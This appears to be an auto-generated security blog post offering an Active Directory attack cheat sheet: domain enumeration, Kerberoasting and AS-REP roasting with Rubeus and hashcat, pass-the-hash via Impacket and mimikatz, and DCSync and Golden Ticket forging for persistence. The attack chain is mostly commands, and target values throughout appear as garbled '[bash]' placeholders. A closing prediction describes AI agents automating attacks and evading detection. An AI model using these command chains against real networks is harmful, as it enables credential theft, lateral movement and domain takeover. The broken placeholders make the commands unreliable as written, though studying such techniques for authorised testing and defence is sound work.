Listen to this Post
Introduction:
Active Directory (AD) remains the crown jewel for attackers and the primary attack surface for defenders in corporate networks. Mastering its intricacies is non-negotiable for any cybersecurity professional. This article provides a verified command-line toolkit for both reconnaissance and exploitation, equipping you for real-world AD pentesting scenarios.
Learning Objectives:
- Understand and execute fundamental AD enumeration techniques using native Windows and Linux tools.
- Learn key commands for privilege escalation and lateral movement within a domain.
- Gain hands-on experience with critical vulnerability discovery and exploitation in AD environments.
You Should Know:
1. Initial Reconnaissance & Domain Enumeration
The first step is understanding the domain structure, users, and computers. Native Windows commands are invaluable for this.
` Enumerate the current domain`
`C:\> net view /domain`
` Enumerate all computers in the current domain`
`C:\> net group “Domain Computers” /domain`
` Get detailed information about the current domain`
`C:\> nltest /domain_trusts`
` Enumerate users in the Domain Admins group`
`C:\> net group “Domain Admins” /domain`
` Using PowerShell for comprehensive domain info`
`PS C:\> Get-ADDomain`
Step-by-step guide:
These commands are executed from a command prompt or PowerShell on a domain-joined Windows machine. `net view /domain` confirms you are domain-joined and lists available domains. `net group “Domain Admins” /domain` is crucial for identifying high-value targets. For deeper enumeration, PowerShell with the Active Directory module (Get-ADDomain, Get-ADUser, Get-ADComputer) is far more powerful and should be used if available.
2. User Hunting and SPN Discovery
Service Principal Names (SPNs) are used to associate services with accounts. Finding them can reveal service accounts, which are often over-permissioned.
` Find all SPNs registered in the domain using setspn`
`C:\> setspn -T [bash] -Q /`
` PowerView (PowerShell) method for finding users`
`PS C:\> Get-NetUser | select cn,description,memberof`
` Find users with SPNs (potential kerberoastable accounts)`
`PS C:\> Get-NetUser -SPN | select samaccountname,serviceprincipalname`
` Find computers with unconstrained delegation`
`PS C:\> Get-NetComputer -Unconstrained | select name`
Step-by-step guide:
The `setspn` command is a native Windows tool for querying the SPN directory. The PowerView script (Get-NetUser, Get-NetComputer) provides a more attacker-friendly interface. Querying for users with SPNs (Get-NetUser -SPN) is a key step for Kerberoasting attacks, where you can request service tickets for these accounts and attempt to crack their passwords offline.
3. Network Mapping and Share Enumeration
Identifying accessible hosts and their open shares is critical for lateral movement and data discovery.
` Basic network ping sweep using PowerShell`
`PS C:\> 1..254 | % {Test-Connection -ComputerName “192.168.1.$_” -Count 1 -AsJob} | Receive-Job`
` Enumerate shares on a specific host`
`C:\> net view \\[bash] /all`
` Mount a remote share (if credentials are available)`
`C:\> net use Z: \\[bash]\[bash]`
` Linux alternative for SMB share enumeration`
`$ smbclient -L //[bash]/ -N`
` Check for null session enumeration`
`$ enum4linux -a [bash]`
Step-by-step guide:
A ping sweep (Test-Connection) helps build a target list. `net view \\[bash]` attempts to list available shares on a remote host. If you have credentials (or if shares are misconfigured with “Everyone” permissions), you can map them using net use. On a Linux attack box, tools like `smbclient` and `enum4linux` are essential for profiling Windows hosts from the outside.
4. Kerberoasting Attack Execution
Kerberoasting is a popular technique for attacking service account credentials.
` Request all kerberoastable tickets & output in hashcat format`
`PS C:\> Rubeus.exe kerberoast /outfile:hashes.txt`
` Using Impacket’s GetUserSPNs from Linux`
`$ GetUserSPNs.py -request -dc-ip [bash] [bash]/[bash]`
` Crack the captured hash using hashcat`
`$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt`
Step-by-step guide:
From a Windows host, Rubeus is the tool of choice. Execute `Rubeus kerberoast` to automatically find users with SPNs, request TGS tickets, and extract their hashes. From a Linux machine, Impacket’s `GetUserSPNs.py` script performs the same function. The resulting hash is then fed into Hashcat (-m 13100 for Kerberos 5 TGS-REP etype 23) for offline cracking.
5. AS-REP Roasting and Unconstrained Delegation
These attacks target different aspects of Kerberos authentication to compromise accounts.
` Find users with “Do not require Kerberos pre-authentication”`
`PS C:\> Get-DomainUser -PreauthNotRequired | select samaccountname`
` Request AS-REP for a roastable user with Rubeus`
`PS C:\> Rubeus.exe asreproast /user:[bash] /outfile:asrephashes.txt`
` Monitor for incoming connections on a host with unconstrained delegation`
`PS C:\> Rubeus.exe monitor /interval:5 /filteruser:[bash]`
Step-by-step guide:
AS-REP Roasting targets accounts with the “Do not require Kerberos pre-authentication” setting. Use PowerView to find them (Get-DomainUser -PreauthNotRequired), then use Rubeus to request an AS-REP hash for offline cracking. For unconstrained delegation, if you compromise a host with this setting, use `Rubeus monitor` to capture TGTs of users connecting to that host.
6. Lateral Movement with Pass-the-Hash
Once a hash is obtained, it can be used to move laterally without the plaintext password.
` Perform Pass-the-Hash with Impacket’s wmiexec`
`$ wmiexec.py -hashes [bash]:[bash] [bash]/[bash]@[bash]`
` Perform Pass-the-Hash with native Windows (mimikatz)`
`mimikatz sekurlsa::pth /user:[bash] /domain:[bash] /ntlm:[bash]`
` Use the passed hash to run a command remotely via WMI`
`PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList “cmd.exe” -ComputerName [bash] -Credential (Get-Credential)`
Step-by-step guide:
Impacket suites are ideal from a Linux attack box. `wmiexec.py` allows you to get a semi-interactive shell using just the NTLM hash. On Windows, Mimikatz’s `sekurlsa::pth` command injects the hash into memory, creating a new command prompt window that will use the injected credentials for network authentication.
7. Domain Persistence and Golden Ticket Attacks
Golden Tickets provide persistent, stealthy access to the domain by forging Kerberos tickets.
` Extract the KRBTGT account NTLM hash from the DC (requires DA)`
`mimikatz lsadump::dcsync /user:krbtgt`
` Forge a Golden Ticket with mimikatz`
`mimikatz kerberos::golden /user:Administrator /domain:[bash] /sid:[bash] /krbtgt:[bash] /ptt`
` Verify the ticket is in memory and use it`
`mimikatz kerberos::list`
`C:\> dir \\[bash]\C$`
Step-by-step guide:
This is an advanced post-exploitation technique. First, you must perform a DCSync (lsadump::dcsync /user:krbtgt) to extract the password hash of the KRBTGT account. This requires Domain Admin privileges. Once you have the KRBTGT hash, you can use Mimikatz to forge a Ticket Granting Ticket (TGT) for any user. The `/ptt` command injects the ticket directly into your current session, granting you immediate access to any resource in the domain.
What Undercode Say:
- The Bar is Rising: The promotion of expert-level certifications like C-ADPenX signifies a maturation of the offensive security industry. Tool proficiency is now a baseline expectation; deep architectural knowledge and advanced tradecraft are the new differentiators.
- Automation is Key: The sheer volume of commands required for a thorough assessment underscores that manual testing is insufficient. Professionals must leverage scripting (PowerShell/Python) to automate enumeration, analysis, and exploitation chains.
The focus on “real-world attack & defense scenarios” in advanced training highlights a shift beyond theoretical vulnerabilities. Defenders are increasingly adept at detecting classic attack patterns, forcing pentesters to employ more sophisticated, stealthy techniques. Success now hinges on understanding not just how to use a tool, but why it works, how it can be detected, and how to circumvent those detections. This arms race ensures that deep, procedural knowledge of the underlying protocols, as provided by this command-line-centric approach, is more valuable than ever.
Prediction:
The evolution of AD pentesting will be dominated by the integration of AI. Offensive AI will automate the entire kill chain, from intelligent reconnaissance that prioritizes targets based on perceived value and vulnerability to generating polymorphic exploitation code that evades signature-based detection. Defensively, AI will shift security from detecting known-bad commands to analyzing behavioral patterns, identifying anomalous sequences of activity—like the ones outlined in this article—regardless of the specific tools used. The future winner won’t be the one who knows the most commands, but the one who can effectively orchestrate AI agents to execute them at scale and adapt in real-time.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Shivam Mittal2023 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
